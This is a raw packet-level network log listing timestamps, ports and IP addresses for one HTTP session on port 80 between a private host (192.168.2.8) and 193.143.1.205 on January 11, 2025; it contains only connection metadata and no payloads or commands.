Jan 11, 2025 09:08:24.207253933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207264900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207319021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207329988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207338095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.207341909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207354069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207387924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.207428932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.207441092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207452059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207461119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207470894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207505941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.207542896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.207617044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.207703114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.208091974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208148003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208158970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208261967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208272934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208281994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208292007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208328009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.208328009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.208410978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208422899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208431959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208441973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208451986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.208492041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.208527088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.215697050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.215708971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.215719938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.215781927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.216710091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.225295067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.225315094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.225321054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.225408077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.225440025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.225450993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.225461006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.225496054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.237704992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.247349024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.259671926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.259701967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.259715080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.260895014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.294179916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294198990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294218063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294229031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294239998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294250965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294327021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294338942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294357061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294361115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.294361115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.294368029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294380903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294394016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294405937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.294405937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.294445992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.294538975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294550896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294563055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294598103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.294636965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294647932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.294749022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.328510046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328524113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328536034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328584909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328593969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328604937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328610897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328672886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328685045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328716993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328739882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.328739882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.328768969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328783035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328794956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328813076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.328845024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.328845024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.328859091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328896999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328908920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.328977108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329020023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329020977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329037905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329049110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329058886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329206944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329256058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329256058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329324961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329368114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329377890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329404116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329447985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329447985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329485893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329498053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329540014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329582930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329596043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329633951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329668045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329679966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329757929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329780102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329792976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329854965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329865932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329874992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329879999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329886913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329898119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.329937935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.329937935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.330034971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330046892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330079079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330091000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330122948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.330122948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.330195904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330236912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.330250025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330262899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330367088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330378056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330388069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330399036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.330415010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.330415010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.330499887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.333626032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333636999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333653927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333662987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333673954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333688021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.333689928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333734989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.333734989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.333774090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333785057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333796024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333852053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333863020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333918095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.333918095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.333937883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333949089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333959103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.333970070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334012985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334012985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334081888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334197998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334208965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334223032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334244967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334244967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334321976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334332943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334342957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334353924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334364891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334369898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334443092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334466934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334479094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334489107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334501028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334511042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334563971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334652901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334716082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334728003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334786892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334798098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334831953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334831953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334841013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334886074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334911108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334923029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334934950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334947109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.334990025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.334990025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.335077047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335088015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335098982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335109949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335120916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335136890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335144997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.335144997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.335180044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.335361004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335371971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335383892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335485935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.335526943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.335526943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.342341900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.350347996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350368977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350389004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350405931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350419044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350442886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.350503922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350516081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350526094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.350542068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.350588083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.350588083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.384804964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.384819031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.384825945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.384898901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.384927988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.384942055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.384953022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.384963036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.384974003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385003090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385005951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.385005951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.385075092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.385106087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385117054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385128021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385163069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385170937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.385170937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.385176897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385189056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385198116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.385217905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.385370016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.390041113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419209957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419248104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419258118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419270039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419282913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419296026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419306040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419331074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419353962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419379950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419392109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419404030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419414997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419431925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419527054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419539928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419549942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419560909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419572115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419578075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419578075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419619083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419619083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419677019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419687986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419698000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419709921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419718027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419734955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419814110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419826031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419836998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419848919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419861078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.419861078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419861078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419873953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.419979095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420068026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420079947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420092106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420103073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420114040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420128107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420136929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420140982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420154095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420161009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420192003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420192003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420341015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420352936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420362949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420375109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420386076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420386076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420396090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420411110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420422077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420433044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420439959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420439959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420480967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420620918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420633078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420644045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420665026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420685053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420774937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420820951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420833111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420844078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420854092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420865059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420875072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420885086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420885086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420885086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.420933008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.420933008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:08:24.421135902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421148062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:08:24.421158075 CET	80	49705	193.143.1.205	192.168.2.8
